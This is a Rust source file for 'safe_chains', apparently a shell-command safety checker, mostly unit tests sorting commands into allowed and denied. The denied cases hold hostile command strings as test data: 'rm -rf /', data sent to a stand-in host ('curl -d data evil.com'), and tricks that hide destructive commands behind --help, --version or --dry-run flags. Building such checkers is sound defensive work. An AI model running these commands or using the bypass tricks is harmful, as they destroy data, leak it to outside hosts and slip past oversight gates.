Skip to main content

safe_chains/
lib.rs

1#[cfg(test)]
2macro_rules! safe {
3    ($($name:ident: $cmd:expr),* $(,)?) => {
4        $(#[test] fn $name() { assert!(check($cmd), "expected safe: {}", $cmd); })*
5    };
6}
7
8#[cfg(test)]
9macro_rules! denied {
10    ($($name:ident: $cmd:expr),* $(,)?) => {
11        $(#[test] fn $name() { assert!(!check($cmd), "expected denied: {}", $cmd); })*
12    };
13}
14
15#[cfg(test)]
16macro_rules! inert {
17    ($($name:ident: $cmd:expr),* $(,)?) => {
18        $(#[test] fn $name() {
19            assert_eq!(
20                crate::command_verdict($cmd),
21                crate::verdict::Verdict::Allowed(crate::verdict::SafetyLevel::Inert),
22                "expected Inert: {}", $cmd,
23            );
24        })*
25    };
26}
27
28#[cfg(test)]
29macro_rules! safe_read {
30    ($($name:ident: $cmd:expr),* $(,)?) => {
31        $(#[test] fn $name() {
32            assert_eq!(
33                crate::command_verdict($cmd),
34                crate::verdict::Verdict::Allowed(crate::verdict::SafetyLevel::SafeRead),
35                "expected SafeRead: {}", $cmd,
36            );
37        })*
38    };
39}
40
41#[cfg(test)]
42macro_rules! safe_write {
43    ($($name:ident: $cmd:expr),* $(,)?) => {
44        $(#[test] fn $name() {
45            assert_eq!(
46                crate::command_verdict($cmd),
47                crate::verdict::Verdict::Allowed(crate::verdict::SafetyLevel::SafeWrite),
48                "expected SafeWrite: {}", $cmd,
49            );
50        })*
51    };
52}
53
54pub mod cli;
55pub mod command;
56pub mod cst;
57pub mod docs;
58mod handlers;
59pub use handlers::all_opencode_patterns;
60pub mod parse;
61pub mod policy;
62pub mod registry;
63pub mod allowlist;
64pub mod setup;
65pub mod verdict;
66
67pub use verdict::{SafetyLevel, Verdict};
68
69pub fn is_safe_command(command: &str) -> bool {
70    command_verdict(command).is_allowed()
71}
72
73pub fn command_verdict(command: &str) -> Verdict {
74    cst::command_verdict(command)
75}
76
77#[cfg(test)]
78mod tests {
79    use super::*;
80
81    fn check(cmd: &str) -> bool {
82        is_safe_command(cmd)
83    }
84
85    safe! {
86        grep_foo: "grep foo file.txt",
87        cat_etc_hosts: "cat /etc/hosts",
88        jq_key: "jq '.key' file.json",
89        base64_d: "base64 -d",
90        xxd_file: "xxd some/file",
91        pgrep_ruby: "pgrep -l ruby",
92        getconf_page_size: "getconf PAGE_SIZE",
93        ls_la: "ls -la",
94        wc_l: "wc -l file.txt",
95        ps_aux: "ps aux",
96        ps_ef: "ps -ef",
97        top_l: "top -l 1 -n 10",
98        uuidgen: "uuidgen",
99        mdfind_app: "mdfind 'kMDItemKind == Application'",
100        identify_png: "identify image.png",
101        identify_verbose: "identify -verbose photo.jpg",
102
103        diff_files: "diff file1.txt file2.txt",
104        comm_23: "comm -23 sorted1.txt sorted2.txt",
105        paste_files: "paste file1 file2",
106        tac_file: "tac file.txt",
107        rev_file: "rev file.txt",
108        nl_file: "nl file.txt",
109        expand_file: "expand file.txt",
110        unexpand_file: "unexpand file.txt",
111        fold_w80: "fold -w 80 file.txt",
112        fmt_w72: "fmt -w 72 file.txt",
113        column_t: "column -t file.txt",
114        printf_hello: "printf '%s\\n' hello",
115        seq_1_10: "seq 1 10",
116        expr_add: "expr 1 + 2",
117        test_f: "test -f file.txt",
118        true_cmd: "true",
119        false_cmd: "false",
120        bc_l: "bc -l",
121        factor_42: "factor 42",
122        iconv_utf8: "iconv -f UTF-8 -t ASCII file.txt",
123
124        readlink_f: "readlink -f symlink",
125        hostname: "hostname",
126        uname_a: "uname -a",
127        arch: "arch",
128        nproc: "nproc",
129        uptime: "uptime",
130        id: "id",
131        groups: "groups",
132        tty: "tty",
133        locale: "locale",
134        cal: "cal",
135        sleep_1: "sleep 1",
136        who: "who",
137        w: "w",
138        last_5: "last -5",
139        lastlog: "lastlog",
140
141        md5sum: "md5sum file.txt",
142        md5: "md5 file.txt",
143        sha256sum: "sha256sum file.txt",
144        shasum: "shasum file.txt",
145        sha1sum: "sha1sum file.txt",
146        sha512sum: "sha512sum file.txt",
147        cksum: "cksum file.txt",
148        strings_bin: "strings /usr/bin/ls",
149        hexdump_c: "hexdump -C file.bin",
150        od_x: "od -x file.bin",
151        size_aout: "size a.out",
152
153        sw_vers: "sw_vers",
154        mdls: "mdls file.txt",
155        otool_l: "otool -L /usr/bin/ls",
156        nm_aout: "nm a.out",
157        system_profiler: "system_profiler SPHardwareDataType",
158        ioreg_l: "ioreg -l -w 0",
159        vm_stat: "vm_stat",
160
161        dig: "dig example.com",
162        nslookup: "nslookup example.com",
163        host: "host example.com",
164        whois: "whois example.com",
165
166        shellcheck: "shellcheck script.sh",
167        cloc: "cloc src/",
168        tokei: "tokei",
169        safe_chains: "safe-chains \"ls -la\"",
170
171        awk_safe_print: "awk '{print $1}' file.txt",
172
173        version_go: "go --version",
174        version_perl: "perl --version",
175        version_swift: "swift --version",
176        version_git_c: "git -C /repo --version",
177        version_docker_compose: "docker compose --version",
178        version_cargo: "cargo --version",
179        version_cargo_redirect: "cargo --version 2>&1",
180
181        help_cargo: "cargo --help",
182        help_cargo_install: "cargo install --help",
183
184        dry_run_cargo_publish: "cargo publish --dry-run",
185        dry_run_cargo_publish_redirect: "cargo publish --dry-run 2>&1",
186
187        cucumber_feature: "cucumber features/login.feature",
188        cucumber_format: "cucumber --format progress",
189
190        fd_redirect_ls: "ls 2>&1",
191        fd_redirect_clippy: "cargo clippy 2>&1",
192        fd_redirect_git_log: "git log 2>&1",
193        fd_redirect_cd_clippy: "cd /tmp && cargo clippy -- -D warnings 2>&1",
194
195        dev_null_echo: "echo hello > /dev/null",
196        dev_null_stderr: "echo hello 2> /dev/null",
197        dev_null_append: "echo hello >> /dev/null",
198        dev_null_grep: "grep pattern file > /dev/null",
199        dev_null_git_log: "git log > /dev/null 2>&1",
200        dev_null_awk: "awk '{print $1}' file.txt > /dev/null",
201        dev_null_sed: "sed 's/foo/bar/' > /dev/null",
202        dev_null_sort: "sort file.txt > /dev/null",
203
204        env_prefix_single_quote: "FOO='bar baz' ls -la",
205        env_prefix_double_quote: "FOO=\"bar baz\" ls -la",
206
207        stdin_dev_null: "git log < /dev/null",
208
209        subst_echo_ls: "echo $(ls)",
210        subst_ls_pwd: "ls `pwd`",
211        subst_cat_echo: "cat $(echo /etc/shadow)",
212        subst_echo_git: "echo $(git status)",
213        subst_nested: "echo $(echo $(ls))",
214        subst_quoted: "echo \"$(ls)\"",
215
216        assign_subst_ls: "out=$(ls)",
217        assign_subst_git: "out=$(git status)",
218        assign_subst_jj_diff: "out=$(jj diff -r abc --summary)",
219        assign_subst_pipe: "result=$(jj diff -r abc --git | grep -c pattern || echo 0)",
220        assign_subst_backtick: "out=`ls`",
221        assign_subst_multiple: "a=$(ls) b=$(pwd)",
222
223        subshell_echo: "(echo hello)",
224        subshell_ls: "(ls)",
225        subshell_chain: "(ls && echo done)",
226        subshell_semicolon: "(echo hello; echo world)",
227        subshell_pipe: "(ls | grep foo)",
228        subshell_in_pipeline: "(echo hello) | grep hello",
229        subshell_then_cmd: "(ls) && echo done",
230        subshell_nested: "((echo hello))",
231        subshell_for: "(for x in 1 2; do echo $x; done)",
232        quoted_redirect: "echo 'greater > than' test",
233        quoted_subst: "echo '$(safe)' arg",
234        echo_hello: "echo hello",
235        cat_file: "cat file.txt",
236        grep_pattern: "grep pattern file",
237
238        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
239        env_rails_rspec: "RAILS_ENV=test bundle exec rspec",
240
241        pipe_grep_head: "grep foo file.txt | head -5",
242        pipe_cat_sort_uniq: "cat file | sort | uniq",
243        pipe_find_wc: "find . -name '*.rb' | wc -l",
244        chain_ls_echo: "ls && echo done",
245        semicolon_ls_echo: "ls; echo done",
246        pipe_git_log_head: "git log | head -5",
247        chain_git_log_status: "git log && git status",
248
249        bg_ls_echo: "ls & echo done",
250        bg_gh_wait: "gh pr view 123 --repo o/r --json title 2>&1 & gh pr view 456 --repo o/r --json title 2>&1 & wait",
251        chain_ls_echo_and: "ls && echo done",
252        here_string_grep: "grep -c , <<< 'hello,world,test'",
253
254        newline_echo_echo: "echo foo\necho bar",
255        newline_ls_cat: "ls\ncat file.txt",
256
257        pipeline_git_log_head: "git log --oneline -20 | head -5",
258        pipeline_git_show_grep: "git show HEAD:file.rb | grep pattern",
259        pipeline_gh_api: "gh api repos/o/r/contents/f --jq .content | base64 -d | head -50",
260        pipeline_timeout_rspec: "timeout 120 bundle exec rspec && git status",
261        pipeline_time_rspec: "time bundle exec rspec | tail -5",
262        pipeline_git_c_log: "git -C /some/repo log --oneline | head -3",
263        pipeline_xxd_head: "xxd file | head -20",
264        pipeline_find_wc: "find . -name '*.py' | wc -l",
265        pipeline_find_sort_head: "find . -name '*.py' | sort | head -10",
266        pipeline_find_xargs_grep: "find . -name '*.py' | xargs grep pattern",
267        pipeline_pip_grep: "pip list | grep requests",
268        pipeline_npm_grep: "npm list | grep react",
269        pipeline_ps_grep: "ps aux | grep python",
270
271        help_cargo_build: "cargo build --help",
272
273        for_echo: "for x in 1 2 3; do echo $x; done",
274        for_pipe: "for f in *.txt; do cat $f | grep pattern; done",
275        for_empty_body: "for x in 1 2 3; do; done",
276        for_multiple: "for x in 1 2; do echo $x; done; for y in a b; do echo $y; done",
277        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
278        for_then_cmd: "for x in 1 2; do echo $x; done && echo finished",
279        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
280        for_assign_subst: "for c in a b c; do out=$(jj diff -r $c --summary); if [ -n \"$out\" ]; then echo \"$c: $out\"; fi; done",
281        for_assign_pipe_subst: "for c in a b; do result=$(jj diff -r $c --git | grep -c pattern || echo 0); if [ \"$result\" -gt 0 ]; then desc=$(jj log --no-graph -r $c -T template); echo \"$c: $desc\"; fi; done",
282        while_test: "while test -f /tmp/foo; do sleep 1; done",
283        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
284        while_ls: "while ! ls /tmp/foo 2>/dev/null; do sleep 10; done",
285        until_test: "until test -f /tmp/ready; do sleep 1; done",
286        if_then_fi: "if test -f foo; then echo exists; fi",
287        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
288        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
289        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
290        nested_for_in_if: "if true; then for x in 1 2; do echo $x; done; fi",
291        bare_negation: "! echo hello",
292        bare_negation_test: "! test -f foo",
293        keyword_as_data: "echo for; echo done; echo if; echo fi",
294
295        command_help: "command --help",
296        command_version: "command --version",
297        command_v: "command -v git",
298        command_v_upper: "command -V git",
299        command_v_path: "command -v /usr/bin/git",
300
301        networksetup_listallhardwareports: "networksetup -listallhardwareports",
302        networksetup_listallnetworkservices: "networksetup -listallnetworkservices",
303        networksetup_getinfo: "networksetup -getinfo Wi-Fi",
304        networksetup_getdnsservers: "networksetup -getdnsservers Wi-Fi",
305        networksetup_version: "networksetup -version",
306        networksetup_help: "networksetup -help",
307
308        mlr_csv_head: "mlr --csv head -n 10 data.csv",
309        mlr_json_filter: "mlr --json filter '$age > 30' data.json",
310        mlr_tsv_cut: "mlr --tsv cut -f name,age data.tsv",
311
312        sysctl_read: "sysctl kern.maxproc",
313        sysctl_all: "sysctl -a",
314        sysctl_names: "sysctl -N -a",
315        sysctl_read_ostype: "sysctl kern.ostype",
316    }
317
318    denied! {
319        help_npm_install_denied: "npm install --help",
320        help_brew_install_denied: "brew install --help",
321        help_cargo_login_redirect_denied: "cargo login --help 2>&1",
322
323        version_unhandled_node: "node --version",
324        version_unhandled_python: "python --version",
325        version_unhandled_python3: "python3 --version",
326        version_unhandled_rustc: "rustc --version",
327        version_unhandled_java: "java --version",
328        version_unhandled_php: "php --version",
329        version_unhandled_gcc: "gcc --version",
330        version_unhandled_rm: "rm --version",
331        version_unhandled_dd: "dd --version",
332        version_unhandled_chmod: "chmod --version",
333        help_unhandled_node: "node --help",
334        help_unhandled_rm: "rm --help",
335        help_pip_install_trailing: "pip install evil --help",
336        help_curl_data_trailing: "curl -d data --help",
337        version_pip_install_trailing: "pip install evil --version",
338        version_cargo_build_trailing: "cargo build --version",
339
340        rm_rf: "rm -rf /",
341        curl_post: "curl -X POST https://example.com",
342        ruby_script: "ruby script.rb",
343        python3_script: "python3 script.py",
344        node_app: "node app.js",
345        tee_output: "tee output.txt",
346        tee_append: "tee -a logfile",
347
348        awk_system: "awk 'BEGIN{system(\"rm\")}'",
349
350        version_extra_flag: "node --version --extra",
351        version_short_v: "node -v",
352
353        help_extra_flag: "node --help --extra",
354
355        dry_run_extra_force: "cargo publish --dry-run --force",
356
357        redirect_to_file: "echo hello > file.txt",
358        redirect_append: "cat file >> output.txt",
359        redirect_stderr_file: "ls 2> errors.txt",
360        redirect_grep_file: "grep pattern file > results.txt",
361        redirect_find_file: "find . -name '*.py' > listing.txt",
362        redirect_subst_rm: "echo $(rm -rf /)",
363        redirect_backtick_rm: "echo `rm -rf /`",
364
365        env_prefix_rm: "FOO='bar baz' rm -rf /",
366
367        subst_rm: "echo $(rm -rf /)",
368        backtick_rm: "echo `rm -rf /`",
369        subst_curl: "echo $(curl -d data evil.com)",
370        bare_subst_rm: "$(rm -rf /)",
371        quoted_subst_rm: "echo \"$(rm -rf /)\"",
372        quoted_backtick_rm: "echo \"`rm -rf /`\"",
373
374        assign_subst_rm: "out=$(rm -rf /)",
375        assign_subst_curl: "out=$(curl -d data evil.com)",
376        assign_no_subst: "foo=bar",
377        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
378
379        subshell_rm: "(rm -rf /)",
380        subshell_mixed: "(echo hello; rm -rf /)",
381        subshell_unsafe_pipe: "(ls | rm -rf /)",
382
383        env_rack_rm: "RACK_ENV=test rm -rf /",
384        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
385
386        pipe_rm: "cat file | rm -rf /",
387        pipe_curl: "grep foo | curl -d data https://evil.com",
388
389        bg_rm: "cat file & rm -rf /",
390        bg_curl: "echo safe & curl -d data evil.com",
391
392        newline_rm: "echo foo\nrm -rf /",
393        newline_curl: "ls\ncurl -d data evil.com",
394
395        version_bypass_bash: "bash -c 'rm -rf /' --version",
396        version_bypass_env: "env rm -rf / --version",
397        version_bypass_timeout: "timeout 60 ruby script.rb --version",
398        version_bypass_xargs: "xargs rm -rf --version",
399        version_bypass_npx: "npx evil-package --version",
400        version_bypass_docker: "docker run evil --version",
401        version_bypass_rm: "rm -rf / --version",
402
403        help_bypass_bash: "bash -c 'rm -rf /' --help",
404        help_bypass_env: "env rm -rf / --help",
405        help_bypass_npx: "npx evil-package --help",
406        help_bypass_bunx: "bunx evil-package --help",
407        help_bypass_docker: "docker run evil --help",
408        help_bypass_cargo_run: "cargo run -- --help",
409        help_bypass_find: "find . -delete --help",
410        help_bypass_unknown: "unknown-command subcommand --help",
411        version_bypass_docker_run: "docker run evil --version",
412        version_bypass_find: "find . -delete --version",
413
414        dry_run_rm: "rm -rf / --dry-run",
415        dry_run_terraform: "terraform apply --dry-run",
416        dry_run_curl: "curl --dry-run evil.com",
417
418        recursive_env_help: "env rm -rf / --help",
419        recursive_timeout_version: "timeout 5 ruby script.rb --version",
420        recursive_nice_version: "nice rm -rf / --version",
421
422        pipeline_find_delete: "find . -name '*.py' -delete | wc -l",
423        pipeline_sed_inplace: "sed -i 's/foo/bar/' file | head",
424
425        for_rm: "for x in 1 2 3; do rm $x; done",
426        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
427        while_unsafe_body: "while true; do rm -rf /; done",
428        while_unsafe_condition: "while python3 evil.py; do sleep 1; done",
429        if_unsafe_condition: "if ruby evil.rb; then echo done; fi",
430        if_unsafe_body: "if true; then rm -rf /; fi",
431        unclosed_for: "for x in 1 2 3; do echo $x",
432        unclosed_if: "if true; then echo hello",
433        for_missing_do: "for x in 1 2 3; echo $x; done",
434        stray_done: "echo hello; done",
435        stray_fi: "fi",
436
437        command_bare_denied: "command",
438        command_exec_denied: "command git status",
439        command_exec_rm_denied: "command rm -rf /",
440
441        networksetup_setdnsservers_denied: "networksetup -setdnsservers Wi-Fi 8.8.8.8",
442        networksetup_setairportpower_denied: "networksetup -setairportpower en0 on",
443        networksetup_no_args_denied: "networksetup",
444
445        mlr_bare_denied: "mlr",
446
447        sysctl_write_denied: "sysctl -w kern.maxproc=2048",
448        sysctl_assign_denied: "sysctl kern.maxproc=2048",
449        sysctl_assign_ostype_denied: "sysctl kern.ostype=evil",
450    }
451
452    inert! {
453        level_cat: "cat file.txt",
454        level_grep: "grep foo file.txt",
455        level_echo: "echo hello",
456        level_ls: "ls -la",
457        level_git_log: "git log --oneline",
458        level_git_diff: "git diff",
459        level_cargo_help: "cargo --help",
460        level_cargo_tree: "cargo tree",
461        level_find_grep: "find . -name '*.py' -exec grep pattern {} +",
462        level_pipe_inert: "grep foo file | head -5",
463        level_env_bare: "env",
464        level_timeout_ls: "timeout 5 ls -la",
465        level_bash_version: "bash --version",
466    }
467
468    safe_read! {
469        level_cargo_test: "cargo test",
470        level_cargo_clippy: "cargo clippy",
471        level_cargo_check: "cargo check",
472        level_cargo_bench: "cargo bench",
473        level_cargo_publish_dry: "cargo publish --dry-run",
474        level_bundle_exec_rspec: "bundle exec rspec",
475        level_bundle_exec_rails_test: "bundle exec rails test",
476        level_npm_test: "npm test",
477        level_npm_run_test: "npm run test",
478        level_yarn_test: "yarn test",
479        level_go_test: "go test ./...",
480        level_go_vet: "go vet ./...",
481        level_deno_test: "deno test",
482        level_deno_lint: "deno lint",
483        level_deno_check: "deno check src/main.ts",
484        level_bun_test: "bun test",
485        level_swift_test: "swift test",
486        level_gradle_test: "gradle test",
487        level_gradle_check: "gradle check",
488        level_dotnet_test: "dotnet test",
489        level_mvn_test: "mvn test",
490        level_mvn_verify: "mvn verify",
491        level_npx_eslint: "npx eslint src/",
492        level_bunx_eslint: "bunx eslint src/",
493        level_swiftlint_lint: "swiftlint lint",
494        level_swiftlint_analyze: "swiftlint analyze --compiler-log-path build.log",
495        level_detekt: "detekt",
496        level_ktlint: "ktlint src/",
497        level_periphery_scan: "periphery scan",
498        level_cucumber: "cucumber features/login.feature",
499        level_timeout_cargo_test: "timeout 120 cargo test",
500        level_env_cargo_test: "env RUST_BACKTRACE=1 cargo test",
501        level_pipe_cargo_test: "cargo test | grep PASS",
502    }
503
504    safe_write! {
505        level_cargo_build: "cargo build",
506        level_cargo_build_help: "cargo build --help",
507        level_cargo_doc: "cargo doc",
508        level_go_build: "go build ./...",
509        level_swift_build: "swift build",
510        level_gradle_build: "gradle build",
511        level_bun_build: "bun build src/index.ts",
512        level_dotnet_build: "dotnet build",
513        level_mvn_compile: "mvn compile",
514        level_gh_release_download: "gh release download --output file.tar.gz --repo o/r",
515    }
516}